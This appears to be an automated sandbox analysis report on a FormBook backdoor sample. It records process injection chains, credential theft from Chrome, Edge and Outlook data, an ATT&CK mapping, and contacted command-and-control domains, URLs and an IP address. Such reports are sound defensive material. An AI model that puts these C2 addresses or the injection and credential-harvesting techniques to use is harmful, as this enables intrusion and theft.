Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C655C0 mov eax, dword ptr fs:[00000030h]	9_2_03C655C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03D035D7 mov eax, dword ptr fs:[00000030h]	9_2_03D035D7

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtWriteVirtualMemory: Direct from: 0x77762E3C	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtMapViewOfSection: Direct from: 0x77762D1C	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtNotifyChangeKey: Direct from: 0x77763C2C	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtCreateMutant: Direct from: 0x777635CC	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtResumeThread: Direct from: 0x777636AC	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtProtectVirtualMemory: Direct from: 0x77757B2E	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtQuerySystemInformation: Direct from: 0x77762DFC	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtAllocateVirtualMemory: Direct from: 0x77762BFC	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtReadFile: Direct from: 0x77762ADC	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtDelayExecution: Direct from: 0x77762DDC	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtWriteVirtualMemory: Direct from: 0x7776490C	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtQueryInformationProcess: Direct from: 0x77762C26	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtResumeThread: Direct from: 0x77762FBC	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtCreateUserProcess: Direct from: 0x7776371C	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtSetInformationThread: Direct from: 0x777563F9	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtAllocateVirtualMemory: Direct from: 0x77763C9C	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtSetInformationThread: Direct from: 0x77762B4C	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtQueryAttributesFile: Direct from: 0x77762E6C	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtClose: Direct from: 0x77762B6C
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtReadVirtualMemory: Direct from: 0x77762E8C	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtCreateKey: Direct from: 0x77762C6C	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtQuerySystemInformation: Direct from: 0x777648CC	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtAllocateVirtualMemory: Direct from: 0x777648EC	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtQueryVolumeInformationFile: Direct from: 0x77762F2C	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtOpenSection: Direct from: 0x77762E0C	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtDeviceIoControlFile: Direct from: 0x77762AEC	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtAllocateVirtualMemory: Direct from: 0x77762BEC	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtQueryInformationToken: Direct from: 0x77762CAC	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtTerminateThread: Direct from: 0x77762FCC	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtCreateFile: Direct from: 0x77762FEC	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtOpenFile: Direct from: 0x77762DCC	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtOpenKeyEx: Direct from: 0x77762B9C	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtSetInformationProcess: Direct from: 0x77762C5C	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	NtProtectVirtualMemory: Direct from: 0x77762F9C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\sa7Bw41TUq.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\typeperf.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Section loaded: NULL target: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Section loaded: NULL target: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\typeperf.exe

Thread register set: target process: 7668

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\typeperf.exe

Thread APC queued: target process: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\sa7Bw41TUq.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 3035008

Source: C:\Users\user\Desktop\sa7Bw41TUq.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\sa7Bw41TUq.exe"	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	Process created: C:\Windows\SysWOW64\typeperf.exe "C:\Windows\SysWOW64\typeperf.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: uxEGEjhWYrJv.exe, 0000000B.00000000.1558784686.0000000000FD1000.00000002.00000001.00040000.00000000.sdmp, uxEGEjhWYrJv.exe, 0000000B.00000002.3737395933.0000000000FD0000.00000002.00000001.00040000.00000000.sdmp, uxEGEjhWYrJv.exe, 0000000E.00000000.1757198063.0000000001160000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: uxEGEjhWYrJv.exe, 0000000B.00000000.1558784686.0000000000FD1000.00000002.00000001.00040000.00000000.sdmp, uxEGEjhWYrJv.exe, 0000000B.00000002.3737395933.0000000000FD0000.00000002.00000001.00040000.00000000.sdmp, uxEGEjhWYrJv.exe, 0000000E.00000000.1757198063.0000000001160000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: uxEGEjhWYrJv.exe, 0000000B.00000000.1558784686.0000000000FD1000.00000002.00000001.00040000.00000000.sdmp, uxEGEjhWYrJv.exe, 0000000B.00000002.3737395933.0000000000FD0000.00000002.00000001.00040000.00000000.sdmp, uxEGEjhWYrJv.exe, 0000000E.00000000.1757198063.0000000001160000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: ?Program Manager
Source: uxEGEjhWYrJv.exe, 0000000B.00000000.1558784686.0000000000FD1000.00000002.00000001.00040000.00000000.sdmp, uxEGEjhWYrJv.exe, 0000000B.00000002.3737395933.0000000000FD0000.00000002.00000001.00040000.00000000.sdmp, uxEGEjhWYrJv.exe, 0000000E.00000000.1757198063.0000000001160000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: sa7Bw41TUq.exe	Binary or memory string: JDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 9.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.3737461666.0000000000BB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3737315515.0000000000B60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3725825178.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1688985587.0000000009690000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1671982092.00000000067E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3737482520.0000000004BE0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1670445021.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3739752184.0000000004DC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\typeperf.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\typeperf.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality

Source: Yara match	File source: 9.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.3737461666.0000000000BB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3737315515.0000000000B60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3725825178.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1688985587.0000000009690000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1671982092.00000000067E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3737482520.0000000004BE0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1670445021.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3739752184.0000000004DC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	412 Process Injection	2 Virtualization/Sandbox Evasion	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	412 Process Injection	LSASS Memory	2 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	1 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Abuse Elevation Control Mechanism	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
sa7Bw41TUq.exe	61%	ReversingLabs	Win32.Backdoor.FormBook
sa7Bw41TUq.exe	100%	Avira	HEUR/AGEN.1321671
sa7Bw41TUq.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.polarmuseum.info	199.59.243.227	true	false	unknown
bluegirls.blog	195.110.124.133	true	false	unknown
www.mecateg.xyz	162.0.238.238	true	true	unknown
www.firstcry.shop	13.248.169.48	true	false	unknown
shops.myshopify.com	23.227.38.74	true	false	unknown
hampelsmagic.life	76.223.67.189	true	false	unknown
consultarfacil.online	3.33.130.190	true	false	unknown
40wxd.top	206.119.82.134	true	false	unknown
www.ophthalmo.cloud	217.160.0.207	true	false	unknown
www.cc101.pro	188.114.96.3	true	false	unknown
dto20.shop	3.33.130.190	true	false	unknown
myjiorooms.services	3.33.130.190	true	false	unknown
allthingsjasmin.com	3.33.130.190	true	false	unknown
www.dto20.shop	unknown	unknown	true	unknown
www.consultarfacil.online	unknown	unknown	true	unknown
www.monos.media	unknown	unknown	true	unknown
www.40wxd.top	unknown	unknown	true	unknown
www.hampelsmagic.life	unknown	unknown	true	unknown
www.myjiorooms.services	unknown	unknown	true	unknown
www.zingara.life	unknown	unknown	true	unknown
www.allthingsjasmin.com	unknown	unknown	true	unknown
www.bluegirls.blog	unknown	unknown	true	unknown
www.i16zb920d.cfd	unknown	unknown	true	unknown
www.trafegomagico.shop	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
http://www.zingara.life/s7qk/?ZZY=iaY+w4IpIrYSidyoirH4HJSkbusQX4NI5gNJJ4lc6xQkeif0pMuzzCPjcczGW/AsONaxEKF5w0HAACs6c94+MzxqwLAwe70WCnJ+QkbRlWeyUQ/E8YwpuoNtXuk6ep3axG9muxvIvCTd&mHm0o=rrqhoH	false	unknown
http://www.myjiorooms.services/bp9c/	false	unknown
http://www.polarmuseum.info/reui/	false	unknown
http://www.allthingsjasmin.com/eysm/?ZZY=rmFmYSV40EyuHaS2kdWsBSatZMcowP18dPlfx0Yf8gPpQKE966Dkx6Jhfns0QUWGli+3EHMWEp7NMhxdNQGBoYEKFyRFG/hWuIrsEVQcMyBNET9pI9FmSsALbFuO7R/DpXmPiDL0RAp8&mHm0o=rrqhoH	false	unknown
http://www.consultarfacil.online/fvi9/	false	unknown
http://www.cc101.pro/0r21/	false	unknown
http://www.mecateg.xyz/sq12/	false	unknown
http://www.firstcry.shop/e4x0/	false	unknown
http://www.cc101.pro/0r21/?mHm0o=rrqhoH&ZZY=fpQWUmUD3QBv9qaBiDNDC55X+pZkXcZKAs7PtWtHybHyzx2AGLiILISraADyo1q+hqHiafFS+6J0wcG7bEgZBkPYVPFAzuLp86jiTbWXEL7WrvfJBC+mpaVtq3e+NG0F9h9/HweK9zd4	false	unknown
http://www.myjiorooms.services/bp9c/?ZZY=CFj7iDxn1x8AZpvFPceYGF6mfIwPwoMTrHXd5ZNPnjoM55LZ4XrC1cu6kzZqztyAGGEhFACZ681UEqmRh4qhBCgu4rL42B/pdGdLhtvwmGlR74+AXtAhf2M5tQk/HW327Y9QXMr8MgHb&mHm0o=rrqhoH	false	unknown
http://www.40wxd.top/0cbg/	false	unknown
http://www.mecateg.xyz/sq12/?ZZY=z6EWwjUgJz2bJPVNnwixtdiBclz6U+1c8CkWN3ljQgjJGrzDNHqxSoLtP95ZDgz7MgUxfMzo2dU5U8jEaokJ+YFKTiu0SNRlbEWC0HQQ7kWDv/RczpK4Ywebc8IjilGLuKMcxKVh8K9W&mHm0o=rrqhoH	false	unknown
http://www.consultarfacil.online/fvi9/?ZZY=83Zhgfg6tu/foMGa1rd4G8mvZ8J0ctT1sQtAA8307wl6fpXmtYNgS0h47hPctXYzi3krAK+TuMk8NNNUc7/zlizFi4+uLzj6JeI9HOwnvOMl9isW4EM/0itfBtO8+qbotuSJUZ1vI2TR&mHm0o=rrqhoH	false	unknown
http://www.polarmuseum.info/reui/?ZZY=86WVBsaKd0g/fiy38lBVTFNtYioQJ/XID2I2jzZkjXxxzqQXnIBLpzjUTcMxZ+VjRI6hFe2KzQRCqdeRoprBsBuO38R4j7pNa7/TdtnWnso/3MHserSUB0MZw7CHuHvixsEQagEWFuT7&mHm0o=rrqhoH	false	unknown
http://www.hampelsmagic.life/jso9/?mHm0o=rrqhoH&ZZY=uWtD7nDJzC5KbaeYt4wzjwT7dfNvmhcBXDjCWDtDb+iw4yKFuJufFHLJAdi3pLpd6ZSxNjMYLeNLKkNP8PCKZOHQQMiufYU5amodYVRyhU2Q7ZK2dy5aUiQd9WIqGEuwGA/AmJwbELRk	false	unknown
http://www.dto20.shop/qt7h/	false	unknown
http://www.bluegirls.blog/ptae/?ZZY=w3WU5oZhC+LnKx26kaNk+YWYu6qqBKD6PC4MUwZYu/Z6/i99bgGsvL6SKkltDKfqu2CGNTh4TErFYwL/tEu+bdChCdZ/afdxeSWGORoCU6iTOQ97Sy+G7WrM0B37ODseprTGeRopW7u8&mHm0o=rrqhoH	false	unknown
http://www.40wxd.top/0cbg/?ZZY=ReVCyzq7e32zPSksEOCt3pbKcx4rKGTIyRipE0uGIQ28zkTth8noQJXIJc3ts0ISqVogbi/TYpoiqGzNpNOIXMLKx0kCr+Xw6Q+8qepVva7bCGUCYF3oCYt7aX6G3loK+iyEYGVwNCt0&mHm0o=rrqhoH	false	unknown
http://www.zingara.life/s7qk/	false	unknown
http://www.allthingsjasmin.com/eysm/	false	unknown
http://www.dto20.shop/qt7h/?mHm0o=rrqhoH&ZZY=lVRVVIZsXSPU4aIYLW3uXU2G9jyJVB0KcS4/r4NcfnqYIb12Sac4jtyjmKkxLIaqvFDuni/4q4Q88o0YH0xwolv7HpcPHG6ier6546/NEIR09zDvHF3f9eFxq1b7awb/89CQg1iAKK+O	false	unknown
http://www.hampelsmagic.life/jso9/	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	typeperf.exe, 0000000C.00000002.3741075036.0000000007AFE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	typeperf.exe, 0000000C.00000002.3741075036.0000000007AFE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	typeperf.exe, 0000000C.00000002.3741075036.0000000007AFE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	typeperf.exe, 0000000C.00000002.3741075036.0000000007AFE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://156.226.108.99:28888/	typeperf.exe, 0000000C.00000002.3739193871.0000000003E38000.00000004.10000000.00040000.00000000.sdmp, typeperf.exe, 0000000C.00000002.3740970787.00000000060B0000.00000004.00000800.00020000.00000000.sdmp, uxEGEjhWYrJv.exe, 0000000E.00000002.3737715494.0000000003098000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	typeperf.exe, 0000000C.00000002.3741075036.0000000007AFE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://zingara.life/s7qk?ZZY=iaY	typeperf.exe, 0000000C.00000002.3739193871.0000000004936000.00000004.10000000.00040000.00000000.sdmp, uxEGEjhWYrJv.exe, 0000000E.00000002.3737715494.0000000003B96000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	typeperf.exe, 0000000C.00000002.3741075036.0000000007AFE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
